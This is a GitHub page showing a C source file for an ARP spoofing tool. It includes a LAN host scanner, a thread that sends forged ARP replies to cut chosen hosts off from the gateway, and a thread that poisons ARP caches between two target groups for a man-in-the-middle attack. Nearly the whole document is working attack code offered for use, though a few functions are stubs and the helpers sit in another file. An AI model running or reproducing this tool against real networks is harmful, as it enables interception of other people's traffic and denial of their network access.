-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharp_spoofing.c
212 lines (180 loc) · 4.78 KB
/
arp_spoofing.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#include "common_func.c"
DWORD WINAPI wlan_info_collect(LPVOID pM)
{
printf("thread id:%d\n", GetCurrentThreadId());
struct net_info *info = (struct net_info *) pM;
char *net_interface = info->net_interface;
printf("net_interface: %s\n", net_interface);
get_packet(info);
return 0;
}
DWORD WINAPI ip_forbidden_send(LPVOID pM)
{
printf("thread id:%d\n", GetCurrentThreadId());
struct net_info *info = (struct net_info *) pM;
struct terminal *ptr = NULL;
struct ether_header ether_hdr;
struct arp_header arp_hdr;
u_int8_t packet_content[1024];
int packet_length;
u_int16_t ether_type = 0x0608;
u_int16_t operation_code = 0x0200;
int i;
while(info->ip_forbidden == 1)
{
ptr = info->target_fbd;
while(ptr != NULL)
{
make_ether_packet(ether_type,
info->ether_address,
ptr->mac_address,
ðer_hdr);
make_arp_packet(operation_code ,
info->gateway_ip_address,
info->empty_ether_address,
info->gateway_ip_address,
info->empty_ether_address,
&arp_hdr);
make_packet(packet_content,&packet_length,ðer_hdr,&arp_hdr);
send_packet(info->net_interface , packet_content , packet_length);
ptr = ptr->next;
}
for(i=0;i<50000000;i++) ;
}
printf("stop ip-forbidden stop\n");
return 0;
}
DWORD WINAPI mitm_packet_send(LPVOID pM)
{
printf("thread id:%d\n", GetCurrentThreadId());
struct net_info *info = (struct net_info *) pM;
struct terminal *ptr_A = NULL , *ptr_B = NULL;
struct ether_header ether_hdr;
struct arp_header arp_hdr;
u_int8_t packet_content[1024];
int packet_length;
u_int16_t ether_type = 0x0608;
u_int16_t operation_code = 0x0200;
while(info->mitm_attack == 1)
{
ptr_A = info->target_A;
while(ptr_A != NULL)
{
ptr_B = info->target_B;
while(ptr_B != NULL)
{
make_ether_packet(ether_type,
info->ether_address,
info->broadcast_address,
ðer_hdr);
make_arp_packet(operation_code ,
ptr_B->ip_address,
info->ether_address,
ptr_B->ip_address,
info->ether_address,
&arp_hdr);
make_packet(packet_content,&packet_length,ðer_hdr,&arp_hdr);
send_packet(info->net_interface , packet_content , packet_length);
ptr_B = ptr_B->next;
}
ptr_A = ptr_A->next;
}
ptr_B = info->target_B;
while(ptr_B != NULL)
{
ptr_A = info->target_A;
while(ptr_A != NULL)
{
make_ether_packet(ether_type,
info->ether_address,
info->broadcast_address,
ðer_hdr);
make_arp_packet(operation_code ,
ptr_A->ip_address,
info->ether_address,
ptr_A->ip_address,
info->ether_address,
&arp_hdr);
make_packet(packet_content,&packet_length,ðer_hdr,&arp_hdr);
send_packet(info->net_interface , packet_content , packet_length);
ptr_A = ptr_A->next;
}
ptr_B = ptr_B->next;
}
int i;
for(i=0;i<50000000;i++);
}
printf("stop mitm_attack\n");
}
void add_target(struct net_info *info,u_int8_t *target_ip_address ,struct terminal **target_set)
{
u_int8_t target_mac_address[6];
if(is_ip_in_list(info,target_ip_address,target_mac_address) != -1)
{
wlan_update(target_ip_address,target_mac_address,target_set);
printf("adding success \n");
display_host_list(*target_set);
return ;
}
else
{
printf("can not find this host\n");
return ;
}
}
void host_list(struct net_info *info)
{
display_host_list(info->host);
return ;
}
void wlan_scaning(struct net_info *info)
{
struct ether_header ether_hdr;
struct arp_header arp_hdr;
u_int16_t ether_type = 0x0608;
u_int16_t operation_code = 0x0100;
u_int8_t dest_ip[4];
u_int8_t dest_ether[6] = {0x00,0x00,0x00,0x00,0x00,0x00};
u_int8_t packet_content[1024];
int packet_length;
memcpy(dest_ip,&(info->ip_address),4*sizeof(u_int8_t));
u_int8_t cur_ip;
make_ether_packet(ether_type,
info->ether_address,
info->broadcast_address,
ðer_hdr);
for(cur_ip=1;cur_ip!=0;cur_ip++)
{
dest_ip[3] = cur_ip;
make_arp_packet(
operation_code,
info->ip_address,
info->ether_address,
dest_ip,
dest_ether,
&arp_hdr
);
make_packet(packet_content,&packet_length,ðer_hdr,&arp_hdr);
send_packet(info->net_interface,packet_content,packet_length);
//printf("send %d packets\n", cur_ip);
}
printf("send 256 packets\n");
}
void ip_conflict()
{
}
void ip_forbidden(char *net_interface,struct terminal *dst,struct terminal *src)
{
struct ether_header ether_hdr;
struct arp_header arp_hdr;
memcpy(ðer_hdr.ether_dhost,&dst->mac_address,6*sizeof(u_int8_t));
memcpy(ðer_hdr.ether_shost,&src->mac_address,6*sizeof(u_int8_t));
ether_hdr.ether_type = 0x0806;
arp_hdr.arp_operation_code = 2;
//memcpy();
//memcpy();
u_int8_t packet[1024];
int len = 0;
make_packet(&packet,&len,ðer_hdr,&arp_hdr);
send_packet(net_interface,packet,len);
}